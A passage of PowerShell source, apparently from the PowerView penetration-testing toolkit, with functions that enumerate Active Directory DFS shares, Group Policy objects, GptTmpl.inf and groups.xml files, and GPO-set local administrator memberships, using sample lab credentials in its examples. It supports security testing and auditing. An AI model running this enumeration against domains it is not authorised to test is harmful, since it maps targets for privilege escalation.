$Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + } + + PROCESS { + $DFSshares = @() + + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# +.SYNOPSIS + +Helper to parse a GptTmpl.inf policy file path into a hashtable. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent + +.DESCRIPTION + +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GptTmplPath + +Specifies the GptTmpl.inf file path name to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] + [String] + $GptTmplPath, + + [Switch] + $OutputObject, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + + if ($PSBoundParameters['OutputObject']) { + $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop + if ($Contents) { + $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath + $Contents + } + } + else { + $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + if ($Contents) { + $Contents['Path'] = $TargetGptTmplPath + $Contents + } + } + } + catch { + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-GroupsXML { +<# +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID + +.DESCRIPTION + +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GroupsXMLpath + +Specifies the groups.xml file path name to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] + [String] + $GroupsXMLPath, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } + } + } + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } + } + } + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-DomainGPO { +<# +.SYNOPSIS + +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ComputerIdentity + +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +.PARAMETER UserIdentity + +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGPO -Domain testlab.local + +Return all GPOs for the testlab.local domain + +.EXAMPLE + +Get-DomainGPO -ComputerName windows1.testlab.local + +Returns all GPOs applied windows1.testlab.local + +.EXAMPLE + +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +.EXAMPLE + +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +.OUTPUTS + +PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Parameter(ParameterSetName = 'ComputerIdentity')] + [Alias('ComputerName')] + [ValidateNotNullOrEmpty()] + [String] + $ComputerIdentity, + + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] + [ValidateNotNullOrEmpty()] + [String] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } + + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { + $GpoDN + } + } + else { + # inheritance not marked as disabled yet + $GpoDN + } + } + } + } + + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } + + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } + } + + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } + $GPOSearcher.dispose() + } + } + } +} + + +function Get-DomainGPOLocalGroup { +<# +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ResolveMembersToSIDs + +Switch. Indicates that any member names should be resolved to their domain SIDs. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOLocalGroup + +Returns all local groups set by GPO along with their members and memberof. + +.EXAMPLE + +Get-DomainGPOLocalGroup -ResolveMembersToSIDs + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +.EXAMPLE + +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup + +Return any GPO-set groups for the GPO with the given name/GUID. + +.EXAMPLE + +Get-DomainGPOLocalGroup 'Desktops' + +Return any GPO-set groups for the GPO with the given display name. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +.LINK + +https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $ResolveMembersToSIDs, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach 